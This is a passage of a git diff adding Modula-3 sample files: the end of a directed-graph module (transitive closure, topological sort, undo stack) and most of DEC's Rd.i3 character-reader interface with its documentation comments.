+    IF (n < 0) OR (n >= RefList.Length(node.pred)) THEN
+      RAISE RangeFault;
+    ELSE
+      RETURN NARROW(RefList.Nth(node.pred, n), Edge).from.value;
+    END;
+  END GetPredN;
+
+PROCEDURE GetPredIter(self: T; nodeVal: NodeVal.T): NodeIter
+    RAISES { NoSuchNode } =
+  VAR
+    node: Node;
+    ni: NodeIter;
+  BEGIN
+    node := self.nodeValToNode(nodeVal, FALSE);
+    ni := NEW(NodeIterImpl, toNotFrom := FALSE, list := node.pred);
+    RETURN ni;
+  END GetPredIter;
+
+PROCEDURE GetPredList(self: T; nodeVal: NodeVal.T): RefList.T
+    RAISES { NoSuchNode } =
+  VAR node: Node; BEGIN
+    node := self.nodeValToNode(nodeVal, FALSE);
+    RETURN node.succ
+  END GetPredList;
+
+PROCEDURE NodeIterNext(self: NodeIterImpl; VAR next: NodeVal.T): BOOLEAN =
+  VAR
+    edge: Edge;
+  BEGIN
+    IF self.list = NIL THEN RETURN FALSE; END;
+    edge := self.list.head;
+    self.list := self.list.tail;
+    IF self.toNotFrom THEN
+      next := edge.to.value;
+    ELSE
+      next := edge.from.value;
+    END;
+    RETURN TRUE;
+  END NodeIterNext;
+
+
+(*==================== Whole-Graph Iteration ====================*)
+
+PROCEDURE SetMiscs(g: T; i: INTEGER) =
+  VAR iter := g.nodeTbl.iterate();
+      nodeVal, nodeRA: REFANY;
+  BEGIN
+    WHILE iter.next(nodeVal, nodeRA) DO
+      VAR node: Node := nodeRA; BEGIN
+        node.misc := i
+      END (* BEGIN *)
+    END (* WHILE *)
+  END SetMiscs;
+
+PROCEDURE MapOverEdges(self: T; emp: EdgeMapProc) RAISES ANY =
+  VAR iter := self.nodeTbl.iterate(); nodeVal, nodeRA: REFANY; BEGIN
+    SetMiscs(self, 0);
+    WHILE iter.next(nodeVal, nodeRA) DO
+      DfsEdges(nodeRA, emp)
+    END (* WHILE *);
+    SetMiscs(self, 0);
+  END MapOverEdges;
+
+PROCEDURE DfsEdges(node: Node; emp: EdgeMapProc) RAISES ANY =
+  BEGIN
+    IF node.misc = 0 THEN
+      VAR succs := node.succ; BEGIN
+        WHILE succs # NIL DO
+          VAR e: Edge := succs.head; BEGIN
+            emp(node.value, e.value, e.to.value);
+            node.misc := 1;
+            DfsEdges(e.to, emp);
+          END (* BEGIN *);
+          succs := succs.tail
+        END (* WHILE *)
+      END (* BEGIN *)
+    END (* IF *);
+  END DfsEdges;
+
+
+PROCEDURE MapOverNodes(self: T; nmp: NodeMapProc) =
+  VAR iter := self.nodeTbl.iterate(); nodeValRA, nodeRA: REFANY; BEGIN
+    WHILE iter.next(nodeValRA, nodeRA) DO
+      VAR nodeVal: NodeValRef := nodeValRA; BEGIN
+        nmp(nodeVal^)
+      END (* BEGIN *)
+    END (* WHILE *)
+  END MapOverNodes;
+
+(*
+PROCEDURE DfsNodes(ra: REFANY; <*UNUSED*> key: REFANY;
+                   VAR nodeRA: REFANY): BOOLEAN RAISES ANY =
+  BEGIN
+    WITH node = NARROW(nodeRA, Node),
+         nmpRR = NARROW(ra, NMPRefRec) DO
+      DfsNodesMap(node, nmpRR.proc);
+    END (* WITH *);
+    RETURN FALSE;
+  END DfsNodes;
+
+PROCEDURE DfsNodesMap(n: Node; nmp: NodeMapProc) RAISES ANY =
+  VAR succs: RefList.T (* OF Edge *);
+  BEGIN
+    IF n.misc = 1 THEN RETURN;
+    ELSE
+      n.misc := 1;
+      nmp(n.value);
+      succs := n.succ;
+      WHILE succs # NIL DO
+        VAR e: Edge := succs.head; BEGIN
+          DfsNodesMap(e.to, nmp);
+        END (* BEGIN *)
+      END (* WHILE *)
+    END (* IF *);
+  END DfsNodesMap;
+*)
+
+(*====================== Transitive closure ======================*)
+(* Modifies 'g' so that the final value of 'g' is the transitive closure
+   of the initial value.   If all of etPlus, etTimes, etPlusIdent, and
+   etTimesIdent are NIL, then edge with value NIL is added between nodes
+   'n1' and 'n2' iff no edge connected them in the original value of 'g',
+   but a path between 'n1' and 'n2' did exist in that original value.
+   If any of the optional arguments are non-NIL, all must be, and they
+   must form a "closed semi-ring" on the edge type.  We then run algorithm
+   5.5, p. 198, "The Design and Analysis of Computer Algorithms", by Aho,
+   Hopcroft, and Ullman, Addison-Wesley, 1974.
+*)
+
+
+PROCEDURE TransitiveClose(self: T; edgeChange: EdgeMapProc := NIL): BOOLEAN =
+  VAR nodei, nodej, nodek: Node;
+      edge, kkedge, ikedge, ijedge, kjedge: Edge;
+      kkValClosure, ikVal, oldijVal, newijVal, kjVal: EdgeVal.T;
+      succs: RefList.T (* OF Edge *);
+      nodeArr: NodeArr;
+      nNodes: CARDINAL;
+  BEGIN
+    <*ASSERT self.csr # NIL *>
+    (* Repack the array so we can index the nodes. *)
+    nodeArr := self.makeNodeArray();
+    nNodes := self.nodeSize();
+    (* I'm going to code up an algorithm that assumes a sparse graph,
+       where most of the values are represented by the lack of an edge
+       (which corresponds to self.csr.plusIdent).  We might want to
+       measure the number of edges against the number of nodes, and
+       decide whether to do a "dense" version, in which we allocate an
+       n^2 array... *) 
+    FOR k := 0 TO nNodes-1 DO
+      nodek := nodeArr[k];
+      
+      IF NOT FindEdge(nodek, nodek, kkedge) THEN
+        kkValClosure := self.csr.closure(self.csr.plusIdent);
+      ELSE
+        kkValClosure := self.csr.closure(kkedge.value);
+      END;
+      IF kkValClosure = self.csr.bottom THEN RETURN FALSE END (* IF *);
+
+      FOR i := 0 TO nNodes-1 DO
+        nodei := nodeArr[i];
+
+        IF NOT FindEdge(nodei, nodek, ikedge) THEN
+          ikVal := self.csr.plusIdent;
+        ELSE
+          ikVal := ikedge.value;
+        END;
+
+        FOR j := 0 TO nNodes-1 DO
+          nodej := nodeArr[j];
+          IF NOT FindEdge(nodei, nodej, ijedge) THEN
+            oldijVal := self.csr.plusIdent;
+          ELSE
+            oldijVal := ijedge.value;
+          END;
+
+          IF NOT FindEdge(nodek, nodej, kjedge) THEN
+            kjVal := self.csr.plusIdent;
+          ELSE
+            kjVal := kjedge.value;
+          END;
+    
+          newijVal := self.csr.plus(
+                               oldijVal,
+                               self.csr.times(ikVal,
+                                              self.csr.times(kkValClosure,
+                                                             kjVal)));
+          IF (newijVal # self.csr.plusIdent) THEN
+            (* There needs to be an edge... *)
+            IF (oldijVal = self.csr.plusIdent) THEN
+              (* ...but there was no edge before, so make one. *)
+              ijedge := NEW(Edge);
+              (* To make sure rest of this iteration is right. *)
+              ijedge.value := self.csr.plusIdent;
+              ijedge.nextValue := newijVal;
+              ijedge.from := nodei;
+              ijedge.to := nodej;
+              nodei.succ := RefList.Cons(ijedge, nodei.succ);
+              nodej.pred := RefList.Cons(ijedge, nodej.pred);
+              IF self.undoable THEN
+                PushUndo(self, UndoType.AddEdge, NIL, ijedge)
+              END (* IF *);
+              IF edgeChange # NIL THEN
+                edgeChange(nodei.value, ijedge.value, nodej.value)
+              END (* IF *);
+              INC(self.edges);
+            ELSE
+              (* ...and there is. *)
+              ijedge.nextValue := newijVal;
+            END;
+          END;
+        END;
+      END;
+
+      (* Now update the 'values' of the edges to the 'nextValues.' *)
+      FOR i := 0 TO nNodes-1 DO
+        nodei := nodeArr[i];
+        succs := nodei.succ;
+        WHILE succs # NIL DO
+          edge := succs.head;
+          IF self.undoable AND edge.value # edge.nextValue THEN
+            PushEdgeVal(self, edge, edge.value)
+          END (* IF *);
+          edge.value := edge.nextValue;
+          succs := succs.tail
+        END;
+      END
+    END;
+    RETURN TRUE
+  END TransitiveClose;
+
+PROCEDURE AddEdgeAndClose(self: T;
+                          n1: NodeVal.T; ev: EdgeVal.T; n2: NodeVal.T;
+                          addNodes := FALSE;
+                          edgeChange: EdgeMapProc := NIL): BOOLEAN =
+  VAR oldVal, newVal: EdgeVal.T; BEGIN
+    <*ASSERT self.csr # NIL *>
+    IF addNodes THEN
+      IF NOT NodeExists(self, n1) THEN 
+        AddNode(self, n1) <*NOWARN*>
+      END (* IF *);
+      IF NOT NodeExists(self, n2) THEN 
+        AddNode(self, n2) <*NOWARN*>
+      END (* IF *)
+    END (* IF *);
+    IF NOT self.getEdge(n1, n2, oldVal) THEN
+      oldVal := self.csr.plusIdent;
+    END (* IF *);
+    newVal := self.csr.plus(oldVal, ev);
+    IF oldVal = newVal THEN
+      RETURN TRUE
+    ELSIF newVal = self.csr.bottom THEN
+      RETURN FALSE
+    ELSE
+      IF edgeChange # NIL THEN edgeChange(n1, newVal, n2) END (* IF *);
+      self.setEdge(n1, newVal, n2); <*NOWARN*>
+      RETURN CloseOnPreds(self, newVal, n1, n2, edgeChange) AND
+             CloseOnSuccs(self, newVal, n1, n2, edgeChange)
+    END (* IF *);
+  END AddEdgeAndClose;
+
+
+PROCEDURE CloseOnPreds(self: T; newVal: EdgeVal.T;
+                       n1, n2: NodeVal.T;
+                       edgeChange: EdgeMapProc): BOOLEAN =
+  VAR ni: NodeIter := self.getPredIter(n1); <*NOWARN*>
+      pred: NodeVal.T;
+      oldEdge, predEdge, newEdge: EdgeVal.T;
+  BEGIN
+    WHILE ni.next(pred) DO
+      predEdge := self.edgeValue(pred, n1); <*NOWARN*>
+      IF NOT self.getEdge(pred, n2, oldEdge) THEN
+        oldEdge := self.csr.plusIdent;
+      END (* IF *);
+      newEdge := self.csr.plus(oldEdge, self.csr.times(predEdge, newVal));
+      IF newEdge # self.csr.plusIdent THEN
+        IF pred = n2 THEN
+          (* We have a cycle! Set the edges between n1 and n2 to the closure
+             of the edge we we about to add. *)
+          VAR closeVal := self.csr.closure(newEdge); BEGIN
+            IF closeVal = self.csr.bottom THEN
+              RETURN FALSE
+            ELSE
+              IF NOT self.addEdgeAndClose(n1, closeVal, n2,
+                                          FALSE, edgeChange) THEN
+                RETURN FALSE
+              END (* IF *);
+              IF NOT self.addEdgeAndClose(n2, closeVal, n1,
+                                          FALSE, edgeChange) THEN
+                RETURN FALSE
+              END (* IF *);
+            END (* IF *)
+          END (* WITH *);
+        ELSE
+          IF NOT self.addEdgeAndClose(pred, newEdge, n2,
+                                      FALSE, edgeChange) THEN
+            RETURN FALSE
+          END (* IF *)
+        END (* IF *)
+      END (* IF *)
+    END (* WHILE *);
+    RETURN TRUE
+  END CloseOnPreds;
+      
+PROCEDURE CloseOnSuccs(self: T; newVal: EdgeVal.T;
+                       n1, n2: NodeVal.T;
+                       edgeChange: EdgeMapProc): BOOLEAN =
+  VAR ni: NodeIter := self.getSuccIter(n2); <*NOWARN*>
+      succ: NodeVal.T;
+      oldEdge, succEdge, newEdge: EdgeVal.T;
+  BEGIN
+    WHILE ni.next(succ) DO
+      succEdge := self.edgeValue(n2, succ); <*NOWARN*>
+      IF NOT self.getEdge(n1, succ, oldEdge) THEN
+        oldEdge := self.csr.plusIdent;
+      END (* IF *);
+      newEdge := self.csr.plus(oldEdge, self.csr.times(newVal, succEdge));
+      IF newEdge # self.csr.plusIdent THEN
+        IF n1 = succ THEN
+          (* We have a cycle! Set the edges between n1 and n2 to the closure
+             of the edge we we about to add. *)
+          VAR closeVal := self.csr.closure(newEdge); BEGIN
+            IF closeVal = self.csr.bottom THEN
+              RETURN FALSE
+            ELSE
+              IF NOT self.addEdgeAndClose(n1, closeVal, n2,
+                                          FALSE, edgeChange) THEN
+                RETURN FALSE
+              END (* IF *);
+              IF NOT self.addEdgeAndClose(n2, closeVal, n1,
+                                          FALSE, edgeChange) THEN
+                RETURN FALSE
+              END (* IF *);
+            END (* IF *)
+          END (* WITH *);
+        ELSE
+          IF NOT self.addEdgeAndClose(n1, newEdge, succ,
+                                      FALSE, edgeChange) THEN
+            RETURN FALSE
+          END (* IF *)
+        END (* IF *);
+      END (* IF *);
+    END (* WHILE *);
+    RETURN TRUE
+  END CloseOnSuccs;
+
+PROCEDURE TopSort(self: T;
+                  VAR (*OUT*) res: REF ARRAY OF NodeVal.T): BOOLEAN =
+  VAR nodes := NEW(REF ARRAY OF Node, self.nodeSize());
+      cycle := NEW(RefSeq.T).init();
+      cur := LAST(nodes^);
+  (* Returns TRUE and sets "res" only if it finds a cycle;
+     otherwise, filles in "nodes" right to left. *)
+  PROCEDURE TopSortWork(n: Node): BOOLEAN =
+    BEGIN
+      IF Word.And(n.misc, 2) # 0 THEN
+        WHILE cycle.getlo() # n DO EVAL cycle.remlo() END (* WHILE *);
+        res := NEW(REF ARRAY OF NodeVal.T, cycle.size());
+        FOR k := 0 TO LAST(res^) DO
+          res[k] := NARROW(cycle.get(k), Node).value
+        END (* FOR *);
+        RETURN TRUE
+      ELSIF Word.And(n.misc, 1) # 0 THEN
+        RETURN FALSE
+      ELSE
+        cycle.addhi(n); n.misc := 2;
+        VAR succ := n.succ; BEGIN
+          WHILE succ # NIL DO
+            VAR e: Edge := succ.head; BEGIN
+              IF TopSortWork(e.to) THEN RETURN TRUE END (* IF *)
+            END (* BEGIN *);
+            succ := succ.tail
+          END (* WHILE *)
+        END (* BEGIN *);
+        EVAL cycle.remhi();
+        nodes[cur] := n; DEC(cur);
+        n.misc := 1;
+        RETURN FALSE
+      END (* IF *)
+    END TopSortWork;
+  BEGIN
+    SetMiscs(self, 0);
+    (* First, find the roots. *)
+    VAR iter := self.nodeTbl.iterate(); nodeValRA, nodeRA: REFANY; BEGIN
+      WHILE iter.next(nodeValRA, nodeRA) DO
+        VAR node: Node := nodeRA; BEGIN
+          IF TopSortWork(node) THEN RETURN FALSE END (* IF *)
+        END (* BEGIN *)
+      END (* WHILE *)
+    END (* BEGIN *);
+    res := NEW(REF ARRAY OF NodeVal.T, self.nodeSize());
+    FOR i := 0 TO LAST(res^) DO res[i] := nodes[i].value END (* FOR *);
+    RETURN TRUE
+  END TopSort;
+      
+
+(*******************************************************************)
+
+PROCEDURE PrintAsMatrix(self: T; wr: Wr.T;
+                        np: NodePrintProc;
+                        ep: EdgePrintProc;
+                        between, colWidth: CARDINAL;
+                        absentEV: EdgeVal.T) =
+  VAR
+    nodei, nodej: Node;
+    edge: Edge;
+    nodeArr: NodeArr;
+    nNodes: CARDINAL;
+  BEGIN
+    (* Repack the array so we can index the nodes. *)
+    nodeArr := self.makeNodeArray();
+    nNodes := self.nodeSize();
+    (* Print the top line *)
+    FOR i := 1 TO colWidth+1 DO Wr.PutChar(wr, ' '); END;
+    FOR i := 0 TO nNodes-1 DO
+      FOR j := 1 TO between DO Wr.PutChar(wr, ' '); END;
+      nodei := nodeArr[i];
+      np(wr, nodei.value, colWidth);
+    END;
+    Wr.PutChar(wr, '\n');
+    FOR i := 1 TO colWidth+between DO Wr.PutChar(wr, ' '); END;
+    Wr.PutChar(wr, '+');
+    FOR i := 1 TO nNodes*colWidth + (nNodes-1)*between DO
+      Wr.PutChar(wr, '-');
+    END;
+    Wr.PutChar(wr, '\n');
+
+    FOR i := 0 TO nNodes-1 DO
+      nodei := nodeArr[i];
+      np(wr, nodei.value, colWidth);
+      FOR j := 1 TO between DO Wr.PutChar(wr, ' '); END;
+      Wr.PutChar(wr, '|');
+      FOR j := 0 TO nNodes-1 DO
+        nodej := nodeArr[j];
+        IF FindEdge(nodei, nodej, edge) THEN
+          ep(wr, TRUE, edge.value, colWidth);
+        ELSE
+          ep(wr, FALSE, absentEV, colWidth);
+        END;
+        FOR k := 1 TO between DO Wr.PutChar(wr, ' '); END;
+      END;
+      Wr.PutChar(wr, '\n');
+    END;
+  END PrintAsMatrix;
+
+PROCEDURE PushUndo(self: T; type: UndoType; n: Node; e: Edge := NIL) =
+  BEGIN
+    ExpandIfNeed(self);
+    WITH top = self.undoStack[self.undoSP] DO
+      top.type := type; top.n := n; top.e := e
+    END (* WITH *);
+    INC(self.undoSP)
+  END PushUndo;
+
+PROCEDURE PushEdgeVal(self: T; e: Edge; ev: EdgeVal.T) =
+  BEGIN
+    ExpandIfNeed(self);
+    WITH top = self.undoStack[self.undoSP] DO
+      top.type := UndoType.EdgeVal; top.e := e; top.ev := ev
+    END (* WITH *);
+    INC(self.undoSP)
+  END PushEdgeVal;
+
+PROCEDURE ExpandIfNeed(self: T) =
+  BEGIN
+    IF self.undoSP = NUMBER(self.undoStack^) THEN
+      VAR new := NEW(REF ARRAY OF UndoRec, 2*self.undoSP); BEGIN
+        SUBARRAY(new^, 0, self.undoSP) := self.undoStack^;
+        self.undoStack := new
+      END (* BEGIN *);
+    END (* IF *)
+  END ExpandIfNeed;
+
+PROCEDURE Push(self: T) =
+  BEGIN
+    <*ASSERT self.undoable *>
+    PushUndo(self, UndoType.Mark, NIL);
+  END Push;
+
+PROCEDURE Pop(self: T) =
+  <*FATAL DupEdge, DupNode, NoSuchNode, NoSuchEdge *>
+  BEGIN
+    self.undoable := FALSE;
+    LOOP
+      IF self.undoSP < NUMBER(self.undoStack^) THEN
+        self.undoStack[self.undoSP].n := NIL;
+        self.undoStack[self.undoSP].e := NIL
+      END (* IF *);
+      DEC(self.undoSP);
+      WITH top = self.undoStack[self.undoSP] DO
+        CASE top.type OF
+        | UndoType.Mark =>
+            EXIT
+        | UndoType.AddNode =>
+            self.deleteNode(top.n.value)
+        | UndoType.DeleteNode =>
+            self.addNode(top.n.value)
+        | UndoType.AddEdge =>
+            self.deleteEdge(top.e.from.value, top.e.to.value)
+        | UndoType.DeleteEdge =>
+            self.addEdge(top.e.from.value, top.e.value, top.e.to.value)
+        | UndoType.EdgeVal =>
+            top.e.value := top.ev
+        END (* CASE *)
+      END (* WITH *)
+    END (* LOOP *);
+    self.undoable := TRUE
+  END Pop;
+
+BEGIN
+END DiGraph.
+
+
diff --git a/samples/Modula-3/Rd.i3 b/samples/Modula-3/Rd.i3
new file mode 100644
index 0000000000..0cda33e40e
--- /dev/null
+++ b/samples/Modula-3/Rd.i3
@@ -0,0 +1,359 @@
+(* Copyright (C) 1989, Digital Equipment Corporation           *)
+(* All rights reserved.                                        *)
+(* See the file COPYRIGHT for a full description.              *)
+(* Last modified on Mon Nov  8 17:21:08 PST 1993 by mcjones        *)
+(*      modified on Tue Jul  6 13:05:03 PDT 1993 by wobber         *)
+(*      modified on Tue Jun 15 09:42:56 1993 by gnelson        *)
+(*      modified on Wed Apr 22 16:41:35 PDT 1992 by kalsow     *)
+(*      modified on Mon Dec 24 01:10:09 1990 by muller         *)
+
+
+(* An "Rd.T" (or ``reader'') is a character input stream.  The basic
+   operation on a reader is "GetChar", which returns the source
+   character at the ``current position'' and advances the current
+   position by one.  Some readers are ``seekable'', which means that
+   they also allow setting the current position anywhere in the
+   source.  For example, readers from random access files are
+   seekable; readers from terminals and sequential files are not.
+   \index{character input stream}
+   \index{input stream}
+   \index{stream!input}
+   \index{reader}
+
+   Some readers are ``intermittent'', which means that the source of
+   the reader trickles in rather than being available to the
+   implementation all at once.  For example, the input stream from an
+   interactive terminal is intermittent.  An intermittent reader is
+   never seekable.
+
+   Abstractly, a reader "rd" consists of
+
+| len(rd)           `the number of source characters`
+| src(rd)           `a sequence of length "len(rd)+1"`
+| cur(rd)           `an integer in the range "[0..len(rd)]"`
+| avail(rd)         `an integer in the range "[cur(rd)..len(rd)+1]"`
+| closed(rd)        `a boolean`
+| seekable(rd)      `a boolean`
+| intermittent(rd)  `a boolean`
+
+   These values are not necessarily directly represented in the data
+   fields of a reader object.  In particular, for an intermittent
+   reader, "len(rd)" may be unknown to the implementation.  But in
+   principle the values determine the state of the reader.
+
+   The sequence "src(rd)" is zero-based: "src(rd)[i]" is valid for "i"
+   from 0 to "len(rd"). The first "len(rd)" elements of "src" are the
+   characters that are the source of the reader.  The final element is
+   a special value "eof" used to represent end-of-file.  The value
+   "eof" is not a character.
+
+   The value of "cur(rd)" is the index in "src(rd)" of the next
+   character to be returned by "GetChar", unless "cur(rd) = len(rd)",
+   in which case a call to "GetChar" will raise the exception
+   "EndOfFile".
+
+   The value of "avail(rd)" is important for intermittent readers: the
+   elements whose indexes in "src(rd)" are in the range
+   "[cur(rd)..avail(rd)-1]" are available to the implementation and
+   can be read by clients without blocking.  If the client tries to
+   read further, the implementation will block waiting for the other
+   characters.  If "rd" is not intermittent, then "avail(rd)" is equal
+   to "len(rd)+1".  If "rd" is intermittent, then "avail(rd)" can
+   increase asynchronously, although the procedures in this interface
+   are atomic with respect to such increases.
+
+   The definitions above encompass readers with infinite sources.  If
+   "rd" is such a reader, then "len(rd)" and "len(rd)+1" are both
+   infinity, and there is no final "eof" value.
+
+   Every reader is a monitor; that is, it contains an internal lock
+   that is acquired and held for each operation in this interface, so
+   that concurrent operations will appear atomic.  For faster,
+   unmonitored access, see the "UnsafeRd" interface.
+
+   If you are implementing a long-lived reader class, such as a pipe 
+   or TCP stream, the index of the reader may eventually overflow, 
+   causing the program to crash with a bounds fault.  We recommend
+   that you provide an operation to reset the reader index, which the
+   client can call periodically. *)
+
+INTERFACE Rd;
+
+IMPORT AtomList;
+FROM Thread IMPORT Alerted;
+
+TYPE T <: ROOT;
+
+EXCEPTION EndOfFile; Failure(AtomList.T); 
+
+(* Since there are many classes of readers, there are many ways that a
+   reader can break---for example, the connection to a terminal can be
+   broken, the disk can signal a read error, etc.  All problems of
+   this sort are reported by raising the exception "Failure".  The
+   documentation of a reader class should specify what failures the
+   class can raise and how they are encoded in the argument to
+   "Failure".
+
+   Illegal operations cause a checked runtime error. *)
+
+PROCEDURE GetChar(rd: T): CHAR
+  RAISES {EndOfFile, Failure, Alerted};
+(* Return the next character from "rd". More precisely, this is
+   equivalent to the following, in which "res" is a local variable of
+   type "CHAR": *)
+(*
+| IF closed(rd) THEN `Cause checked runtime error` END;
+| `Block until "avail(rd) > cur(rd)"`;
+| IF cur(rd) = len(rd) THEN
+|   RAISE EndOfFile
+| ELSE
+|   res := src(rd)[cur(rd)]; INC(cur(rd)); RETURN res
+| END
+*)
+
+PROCEDURE GetWideChar(rd: T): WIDECHAR
+  RAISES {EndOfFile, Failure, Alerted};
+(* IF closed(rd) THEN `Cause checked runtime error` END;
+   Return the next wide character from "rd".  Two 8-bit bytes are
+   read from "rd" and concatenated in little-endian order to
+   form a 16-bit character.  That is, the first byte read will be the
+   low-order 8 bits of the result and the second byte will be the
+   high-order 8 bits. *)
+
+(* Many operations on a reader can wait indefinitely.  For example,
+   "GetChar" can wait if the user is not typing. In general these waits
+   are alertable, so each procedure that might wait includes
+   "Thread.Alerted" in its "RAISES" clause. *)
+
+PROCEDURE EOF(rd: T): BOOLEAN RAISES {Failure, Alerted};
+(* Return "TRUE" iff "rd" is at end-of-file. More precisely, this is
+   equivalent to: *)
+(*
+| IF closed(rd) THEN `Cause checked runtime error` END;
+| `Block until "avail(rd) > cur(rd)"`;
+| RETURN cur(rd) = len(rd)
+*)
+
+(* Notice that on an intermittent reader, "EOF" can block. For example, if
+   there are no characters buffered in a terminal reader, "EOF" must wait
+   until the user types one before it can determine whether he typed the
+   special key signalling end-of-file. If you are using "EOF" in an
+   interactive input loop, the right sequence of operations is:
+   \begin{enumerate}
+   \item prompt the user;
+   \item call "EOF", which probably waits on user input;
+   \item presuming that "EOF" returned "FALSE", read the user's input.
+   \end{enumerate} *)
+
+PROCEDURE UnGetChar(rd: T) RAISES {};
+(* ``Push back'' the last character read from "rd", so that the next
+   call to "GetChar" will read it again. More precisely, this is
+   equivalent to the following: *)
+(*
+| IF closed(rd) THEN `Cause checked runtime error` END;
+| IF cur(rd) > 0 THEN DEC(cur(rd)) END
+
+   except there is a special rule: "UngetChar(rd)" is guaranteed to work only
+   if "GetChar(rd)" or "EOF(rd)" was the last operation on "rd".  Thus
+   "UngetChar" cannot be called twice in a row, or after "Seek".
+   If this rule is violated, the implementation is allowed (but
+   not required) to cause a checked runtime error. *)
+
+CONST UnGetCapacity = 8; 
+TYPE UnGetCount = [ 0 .. UnGetCapacity ]; 
+
+PROCEDURE UnGetCharMulti(rd: T; n: UnGetCount:= 1): CARDINAL (* Number actually ungotten.*);
+(* Like UnGetChar, but try to push back the last n characters.  Can accumulate at 
+   least MIN(UnGetCapacity,Index(rd)) ungotten and not reread characters.  
+   UnGetCharMulti reserves the right to exceed this on some calls.  Result may be less
+   than n, if this would be exceeded.  
+*) 
+
+PROCEDURE CharsReady(rd: T): CARDINAL RAISES {Failure};
+(* Return some number of characters that can be read without
+   indefinite waiting. The ``end of file marker'' counts as one
+   character for this purpose, so "CharsReady" will return 1, not 0,
+   if "EOF(rd)" is true. More precisely, this is equivalent to the
+   following: *)
+(*
+| IF closed(rd) THEN `Cause checked runtime error` END;
+| IF avail(rd) = cur(rd) THEN
+|   RETURN 0
+| ELSE 
+|   RETURN `some number in the range "[1~..~avail(rd) - cur(rd)]"`
+| END;
+*)
+
+(* Warning: "CharsReady" can return a result less than "avail(rd) -
+   cur(rd)"; also, more characters might trickle in just as
+   "CharsReady" returns. So the code to flush buffered input without
+   blocking requires a loop:
+
+| LOOP
+|   n := Rd.CharsReady(rd);
+|   IF n = 0 THEN EXIT END;
+|   FOR i := 1 TO n DO EVAL Rd.GetChar(rd) END
+| END;
+*)
+
+PROCEDURE GetSub(rd: T; VAR (*OUT*) str: ARRAY OF CHAR)
+  : CARDINAL RAISES {Failure, Alerted};
+(* Read from "rd" into "str" until "rd" is exhausted or "str" is
+   filled. More precisely, this is equivalent to the following, in
+   which "i" is a local variable: *)
+(*
+| IF closed(rd) THEN `Cause checked runtime error` END;
+| i := 0;
+| WHILE i # NUMBER(str) AND NOT EOF(rd) DO
+|   str[i] := GetChar(rd); INC(i)
+| END;
+| RETURN i
+*)
+
+PROCEDURE GetWideSub(rd: T; VAR (*OUT*) str: ARRAY OF WIDECHAR)
+  : CARDINAL RAISES {Failure, Alerted};
+(* Read from "rd" into "str" until "rd" is exhausted or "str" is
+   filled. More precisely, this is equivalent to the following, in
+   which "i" is a local variable: *)
+(*
+| IF closed(rd) THEN `Cause checked runtime error` END;
+| i := 0;
+| WHILE i # NUMBER(str) AND NOT EOF(rd) DO
+|   str[i] := GetWideChar(rd); INC(i)
+| END;
+| RETURN i
+*)
+
+PROCEDURE GetSubLine(rd: T; VAR (*OUT*) str: ARRAY OF CHAR)
+  : CARDINAL RAISES {Failure, Alerted};
+(* Read from "rd" into "str" until a newline is read, "rd" is
+   exhausted, or "str" is filled. More precisely, this is equivalent
+   to the following, in which "i" is a local variable: *)
+(*
+| IF closed(rd) AND NUMBER(str) > 0 THEN `Cause checked runtime error` END;
+| i := 0;
+| WHILE
+|   i # NUMBER(str) AND
+|   (i = 0 OR str[i-1] # '\n') AND
+|   NOT EOF(rd) 
+| DO
+|   str[i] := GetChar(rd); INC(i)
+| END;
+| RETURN i
+*)
+
+(* Note that "GetLine" strips the terminating line break, while
+   "GetSubLine" does not. *)
+
+PROCEDURE GetWideSubLine(rd: T; VAR (*OUT*) str: ARRAY OF WIDECHAR)
+  : CARDINAL RAISES {Failure, Alerted};
+(* Read from "rd" into "str" until a newline is read, "rd" is
+   exhausted, or "str" is filled. *)
+
+PROCEDURE GetText(rd: T; len: CARDINAL): TEXT
+  RAISES {Failure, Alerted};
+(* Read from "rd" until it is exhausted or "len" characters have been
+   read, and return the result as a "TEXT".  More precisely, this is
+   equivalent to the following, in which "i" and "res" are local
+   variables: *)
+(*
+| IF closed(rd) THEN `Cause checked runtime error` END;
+| res := ""; i := 0;
+| WHILE i # len AND NOT EOF(rd) DO
+|   res := res & Text.FromChar(GetChar(rd));
+|   INC(i)
+| END;
+| RETURN res
+*)
+
+PROCEDURE GetWideText(rd: T; len: CARDINAL): TEXT
+  RAISES {Failure, Alerted};
+(* Read from "rd" until it is exhausted or "len" wide characters have been
+   read, and return the result as a "TEXT".  More precisely, this is
+   equivalent to the following, in which "i" and "res" are local
+   variables: *)
+(*
+| IF closed(rd) THEN `Cause checked runtime error` END;
+| res := ""; i := 0;
+| WHILE i # len AND NOT EOF(rd) DO
+|   res := res & Text.FromWideChar(GetChar(rd));
+|   INC(i)
+| END;
+| RETURN res
+*)
+
+PROCEDURE GetLine(rd: T): TEXT
+  RAISES {EndOfFile, Failure, Alerted};
+(* If "EOF(rd)" then raise "EndOfFile".  Otherwise, read characters
+   until a line break is read or "rd" is exhausted, and return the
+   result as a "TEXT"---but discard the line break if it is present.
+   A line break is either {\tt \char'42\char'134n\char'42} or {\tt
+   \char'42\char'134r\char'134n\char'42} More precisely, this is
+   equivalent to the following, in which "ch" and "res" are local
+   variables: *)
+(*
+| IF closed(rd) THEN `Cause checked runtime error` END;
+| IF EOF(rd) THEN RAISE EndOfFile END;
+| res := ""; ch := '\000'; (* any char but newline *)
+| WHILE ch # '\n' AND NOT EOF(rd) DO
+|   ch := GetChar(rd);
+|   IF ch = '\n' THEN
+|     IF NOT Text.Empty(res) AND
+|         Text.GetChar(res, Text.Length(res)-1) = '\r' THEN
+|       res := Text.Sub(res, 0, Text.Length(res)-1)
+|     END
+|   ELSE
+|     res := res & Text.FromChar(ch)
+|   END
+| RETURN res
+*)
+
+PROCEDURE GetWideLine(rd: T): TEXT
+  RAISES {EndOfFile, Failure, Alerted};
+(* If "EOF(rd)" then raise "EndOfFile".  Otherwise, read wide characters
+   until a line break is read or "rd" is exhausted, and return the
+   result as a "TEXT"---but discard the line break if it is present.
+   A line break is either {\tt \char'42\char'134n\char'42} or {\tt
+   \char'42\char'134r\char'134n\char'42}. *)
+
+PROCEDURE Seek(rd: T; n: CARDINAL) RAISES {Failure, Alerted};
+(* This is equivalent to: *)
+(*
+| IF closed(rd) OR NOT seekable(rd) THEN
+|   `Cause checked runtime error`
+| END;
+| cur(rd) := MIN(n, len(rd))
+*)
+
+PROCEDURE Close(rd: T) RAISES {Failure, Alerted};
+(* Release any resources associated with "rd" and set "closed(rd) :=
+   TRUE".  The documentation of a procedure that creates a reader
+   should specify what resources are released when the reader is
+   closed.  This leaves "rd" closed even if it raises an exception,
+   and is a no-op if "rd" is closed. *)
+
+PROCEDURE Index(rd: T): CARDINAL RAISES {};
+(* This is equivalent to: *)
+(*
